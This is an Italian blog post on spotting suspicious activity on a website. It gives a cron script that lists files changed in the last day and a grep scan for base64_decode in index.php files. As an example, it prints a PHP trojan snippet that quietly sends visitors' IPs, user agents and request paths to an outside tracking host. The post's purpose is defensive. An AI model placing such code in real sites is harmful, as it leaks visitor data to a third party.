Come tenere d’occhio attività sospette sul tuo sito web

, ,

Non tutti sanno che è proprio durante le festività (ferragosto e Natale/capodanno) che gli hacker impazzano prendendo il controllo di server e spazi web e poi utilizzandoli per gli scopi più vari.

Ecco un paio di sistemi semplici per tenere sotto controllo il vostro spazio web e partire per le vacanze più tranquilli.

Controllo di tutti files cambiati durante la notte

Se sei invacanza e non stai lavorando ti sembrerà strano se scopri che alcuni file del tuo sito sono stati modificati ieri notte…

Ecco uno script che trova tutti i file modificati nelle ultime 24 ore. E’ facile se hai un hosting provider come questi fare in modo che questo report ti venga inviato via email ogni mattina. Personalizza le parti in corsivo:

 

#finder.sh - impostare in cron tutte le notti

echo "Files modificati"
echo " "

# Di seguito personalizzare con la directory in cui vuoi che inizi la ricerca (le sottocartelle sono automaticamente incluse)

cd /home/myuser/public_html
find . -mtime -1 -type f \! -path './sito/smarty/cache/*'

 

Nota la stringa:

\! -path './sito/smarty/cache/*'

 

questa serve ad escludere il percorso ./sito/smarty/cache/ dalla ricerca. Utile per evitare di essere avvisati in caso di cambiamenti in cartelle dove è normale che i files si rigenerino (cache e simili)

 

Controllo anti codice malevolo

Uno dei sistemi preferiti degli hacker per inserire codice malevolo e non essere scoperti è quello di codificarlo tramite un algoritmo chiamato base64, poi tramite PHP questa stringa può essere convertita di nuovo in codice eseguibile e infine eseguita.

Ecco come appare un codice pirata ultimamente in circolazione (si tratta di un Trojan legato al sito mbrowserstats.com):

if(isset($_SERVER['REMOTE_ADDR']) == true && isset($_SERVER['HTTP_HOST']) == true){ // Create  bot analitics
$stCurlLink = base64_decode( 'aHR0cDovL21icm93c2Vyc3RhdHMuY29tL3N0YXRIL3N0YXQucGhw').'?ip='.urlencode($_SERVER['REMOTE_ADDR']).'&useragent='.urlencode($sUserAgent).'&domainname='.urlencode($_SERVER['HTTP_HOST']).'&fullpath='.urlencode($_SERVER['REQUEST_URI']).'&check='.isset($_GET['look']);
@$stCurlHandle = curl_init( $stCurlLink );
}

 

Se ora trovaste questo codice nel file principale (index.php) del vostro sito o del vostro tema WordPress probabilmente non vi preoccupereste perchè a noi umani la stringa base64_decode( 'aHR0cDovL21icm93c2Vyc3RhdHMuY29tL3N0YXRIL3N0YXQucGhw')non dice granché. Dentro però c’è l’istruzione che dice al server di collegarsi al sito dei pirati, che a sua volta fornisce carpisce i dati nostri e dei visitatori.

 

Un controllo semplice che si può fare al prima di partire (e in generale ogni mese) è quello di seguire uno script che cerchi tutte le istruzioni base64_decode all’interno del nostro spazio web, e ci fornisca una lista di tutti i file index.php che la conengono, con la riga in questione. Ecco lo script:

 

cd /home/myuser/public_html/ find . -name "index.php" -exec grep 'base64_decode' '{}' \; -print > checklist.txt

 

Il file checklist.txt a questo punto è pronto per essere esaminato.

Qui i risultati vanno un pò interpretati con buon senso. La presenza di stringhe oscure deve mettervi sull’attenti, ma non è detto che si tratti di codice malevolo. Infine non è detto che la stringa malefica debba trovarsi in un file che si chiama index.php, potrebbe pure trovarsi altrove, o potrebbe trovarsi in un punto del file che lo script non individuerebbe. Insomma questo test vi fa stare un minimo più tranquilli catturando una classe di casi ma non è garanzia di nulla né in un senso né nell’altro.

Se volete vedere a cosa corrisponde il codice trovato dentro una base64_decode basterà andare a questo indirizzo http://www.motobit.com/util/base64-decoder-encoder.asp , incollare la stringa di codice racchiusa tra gli apicetti , seezionare “Decode” e infine cliccare “Convert” per vedere di cosa si tratta e toglierci ogni dubbio.

 

Se hai trovato utile questo articolo, condividilo o lascia un commento!

 

0 commenti

Lascia un Commento

Vuoi partecipare alla discussione?
Sentitevi liberi di contribuire!

Lascia un commento

Il tuo indirizzo email non sarà pubblicato. I campi obbligatori sono contrassegnati *